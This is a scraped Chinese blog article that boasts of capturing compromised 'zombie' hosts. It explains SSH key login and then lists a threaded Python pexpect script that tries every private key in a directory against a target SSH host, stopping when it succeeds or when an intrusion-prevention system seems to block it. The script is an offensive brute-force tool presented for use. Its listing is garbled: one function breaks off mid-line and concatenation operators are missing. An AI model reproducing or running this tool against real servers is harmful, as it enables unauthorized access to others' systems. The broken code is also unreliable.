终究没有人在意一家民营企业的生死

去泰国看了一场“成人秀”,画面尴尬到让人窒息.....

【少儿禁】马建《亮出你的舌苔或空空荡荡》

网友建议:远离举报者李X夫!

网曝黑人留学生侮辱中国女生是“母狗”,网友愤慨:不欢迎洋垃圾

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

ssh弱口令?弱秘钥?python?我仿佛抓到一大波肉鸡

2017-04-12 q1412723245 黑白之道




清晨就是奋斗的开始,夜晚是英雄的落幕。


密钥登录的原理是:利用密钥生成器制作一对密钥:公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。如果没有私钥,即使通过SSH 暴力破解出密码也无法远程登录系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。


第一步产生秘钥:



将公钥复制在服务器上边通过scp命令



这样子传上去文件会在/home/username这个目录下,我们需要复制他到.ssh目录下,并且进行重新命名为authorized_keys最后就可以连接了 



秘钥验证无口令破解:


  1. import pexpect

  2. import  os

  3. import optparse

  4. import threading

  5. maxConnections=5

  6. connection_lock=threading.BoundedSemaphore(value=maxConnections)#设置一个信号量

  7. STOP=False

  8. Fails=0


  1. def connect(username,host,keyfile,release):#进行连接测试的函数

  2.     global STOP#如果找到的话就停止

  3.     global Fails#测试被目标服务器拒绝的次数,如果次数多的话就结束程序

  4.     try:

  5.         perm_denied='Permission denied'

  6.         ssh_newkey='Are you sure you want to continue'

  7.         conn_closed='Connection closed by remote host'

  8.         opt=' -o PasswordAuthentication=no'

  9.         connStr='ssh ' username '@' host ' -i ' keyfile

  10.         child=pexpect.spawn(connStr)

  11.         ret=child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'#','

  12. [code]def main():

  13.     parser=optparse.OptionParser('usage:%prog -H tgtHost -u username -k keyfiledir')

  14.     parser.add_option('-H',dest='tgtHost',type='string',help='specify the host')

  15.     parser.add_option('-u',dest='username',type='string',help='specify the username')

  16.     parser.add_option('-k',dest='keydir',type='string',help='specify the keydir')

  17.     (options,args)=parser.parse_args()#分离参数

  18.     tgtHost=options.tgtHost

  19.     username=options.username

  20.     keydir=options.keydir

  21.     if username==None or tgtHost==None or keydir==None:

  22.         print parser.usage

  23.         exit(0)

  24.     for filename in os.listdir(keydir):#群举文件,os.listdir会列出文件中的所有文件名

  25.         if STOP:

  26.             print 'keyfind !'

  27.             exit(0)

  28.         if Fails>5:

  29.             print 'remoted computer mybe have ips'

  30.             exit(0)

  31.         connection_lock.acquire()#申请信号量,保证同时开启的线程不会太多

  32.         #fullname=keydir '/' filename

  33.         fullname=os.path.join(keydir,filename)

  34.         print 'Testing file' fullname

  35.         t=threading.Thread(target=connect,args=(username,tgtHost,fullname,True))

  36.         t.start()

  37. if __name__=='__main__':

  38.     main()


测试结果如下:




你会喜欢


菜鸟修炼手册(从0开始分享思路)会持续更新

zoomeye的简单使用(很恐怖的搜索引擎)


亲喜欢吗?记得点赞 | 留言 | 分享


长按公众号,可“ 置顶 ”

----------------------------------

要闻,干货,原创,专业
关注“黑白之道”微信:i77169 
华夏黑客同盟我们坚持,自由,免费,共享!


文章有问题?点此查看未经处理的缓存